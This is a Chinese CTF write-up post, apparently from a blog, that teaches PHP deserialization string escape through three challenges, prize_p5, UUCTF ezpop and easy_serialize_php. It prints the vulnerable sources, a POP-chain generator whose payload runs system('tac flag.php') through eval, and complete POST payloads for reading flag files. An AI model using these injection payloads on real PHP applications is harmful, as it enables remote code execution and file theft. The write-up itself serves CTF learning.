字符串逃逸
字符串逃逸的本质就是改变序列化字符串的长度,导致反序列化漏洞。
第一次遇到这种题,是我在做nssctf的prize_p5,接下来看看题型。
prize_p5
<?php error_reporting(0); class catalogue{ public $class; public $data; public function __construct() { $this->class = "error"; $this->data = "hacker"; } public function __destruct() { echo new $this->class($this->data); } } class error{ public function __construct($OTL) { $this->OTL = $OTL; echo ("hello ".$this->OTL); } } class escape{ public $name = 'OTL'; public $phone = '123666'; public $email = 'sweet@OTL.com'; } function abscond($string) { $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello'); $filter = '/' . implode('|', $filter) . '/i'; return preg_replace($filter, 'hacker', $string); } if(isset($_GET['cata'])){ if(!preg_match('/object/i',$_GET['cata'])){ unserialize($_GET['cata']); } else{ $cc = new catalogue(); unserialize(serialize($cc)); } if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){ if (preg_match("/flag/i",$_POST['email'])){ die("nonono,you can not do that!"); } $abscond = new escape(); $abscond->name = $_POST['name']; $abscond->phone = $_POST['phone']; $abscond->email = $_POST['email']; $abscond = serialize($abscond); $escape = get_object_vars(unserialize(abscond($abscond))); if(is_array($escape['phone'])){ echo base64_encode(file_get_contents($escape['email'])); } else{ echo "I'm sorry to tell you that you are wrong"; } } } else{ highlight_file(__FILE__); } ?>
第一种解法是利用了echo new $this->class($this->data)这句话,可以用原生类来解题,这里我就不细讲,网上许多博客都有这种解法。
第二种解法是字符串逃逸,主要用到了abscond()这个函数,它会在匹配字符串成功时将NSS, CTF, OTL_QAQ, hello替换为hacker,这就使得字符串逃逸成为可能。因为有preg_match("/flag/i",$_POST['email'])所以不能直接email传参/flag。get_object_vars()函数将类中的变量存进数组并返回数组,但仅对类中的public变量有用,其他的都没用。is_array($escape['phone'])检测数组中phone的值是否为数组.这里我们传参name=1";s:5:"phone";a:1:{i:0;s:1:"1";}s:5:"email";s:5:"/flag";},这样序列化后会提前闭和。
但是name的长度为58与1相差57个字符,在反序列化时虽然会检测到闭合,但会继续匹配,这就没什么作用。这时,abscond()就发挥了作用,它会在序列化后匹配替换。如果我们输入NSS,它将NSS替换为hacker,使得字符串长度增长。如果我们输入19个NSS,使得字符串的长度增加57,那么在反序列化时恰好提前闭合。
所以我们的payload就是:
GET:cata=
POST:name=1NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSS";s:5:"phone";a:1:{i:0;s:1:"1";}s:5:"email";s:5:"/flag";}&phone=&email=
得到flag:

[UUCTF 2022 新生赛]ezpop
<?php //flag in flag.php error_reporting(0); class UUCTF{ public $name,$key,$basedata,$ob; function __construct($str){ $this->name=$str; } function __wakeup(){ if($this->key==="UUCTF"){ $this->ob=unserialize(base64_decode($this->basedata)); } else{ die("oh!you should learn PHP unserialize String escape!"); } } } class output{ public $a; function __toString(){ $this->a->rce(); } } class nothing{ public $a; public $b; public $t; function __wakeup(){ $this->a=""; } function __destruct(){ $this->b=$this->t; die($this->a); } } class youwant{ public $cmd; function rce(){ eval($this->cmd); } } $pdata=$_POST["data"]; if(isset($pdata)) { $data=serialize(new UUCTF($pdata)); $data_replace=str_replace("hacker","loveuu!",$data); unserialize($data_replace); }else{ highlight_file(__FILE__); } ?>
很显然构造pop链nothing::__destruct->output::__toString->youwant::rce。注意这里php版本为7.2.34,并不能增大成员变量的数量来绕过nothing类中的__wakeup函数(这里我也看了其他的博客才知道,看来我还有很长的路要走)。那么这里要使用引用赋值$a=&$b。在$b的值改变时,$a的值也会改变。因为本题要求我们传入data给name赋值,并不能改变其他的变量,所以要使用字符串逃逸。代码如下:
<?php class UUCTF{ public $name; public $key; public $basedata; public $ob; } class output{ public $a; } class nothing{ public $a; public $b; public $t; public function __construct(){ $this->a=&$this->b; } } class youwant{ public $cmd; } $obj=new UUCTF; $obj->key="UUCTF"; $b=new nothing; $b->t=new output; $b->t->a=new youwant; $b->t->a->cmd='system("tac flag.php");'; $b=base64_encode(serialize($b)); $obj->basedata=$b; $obj->name='1'; echo serialize($obj); ?>
得到:
截取1";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}赋值给name,得到name的长度为237,那么此时用字符串逃逸,str_replace()将hacker替换为loveuu!,字符长度加一,那么需要236个hacker。最终的payload为:POST:data=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
[安洵杯 2019]easy_serialize_php
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
先GET传入参数f=phpinfo查看配置文件,发现d0g3_f1ag.php文件,extract($_POST)变量覆盖,可以对$_SESSION['user']和$_SESSION['function']进行修改,但无法对$_SESSION['img']进行修改,注意到这里的SESSION反序列化的过滤,会将php,php3等字符转为空,那么可以利用字符串逃逸。正常SESSON序列化后得到a:3:{s:4:"user";s:0:"";s:8:"function";s:1:"Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},可以利用字符串逃逸将";s:8:"function";s:1:"Y吞掉,再将s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";添加进来,便可读取文件内容。那么$_SESSION['function']=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},要吞掉";s:8:"function";s:42:"Y,这一段长度为24,则需要6个fl1g,最后的payload:
GET:f=show_image
POST:_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=Y";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}
需在后面添加一个属性,保证能这正常反序列化。读取文件内容。

将d0g3_f1ag.php换为/d0g3_fllllllag再base64编码读取flag。


浙公网安备 33010602011771号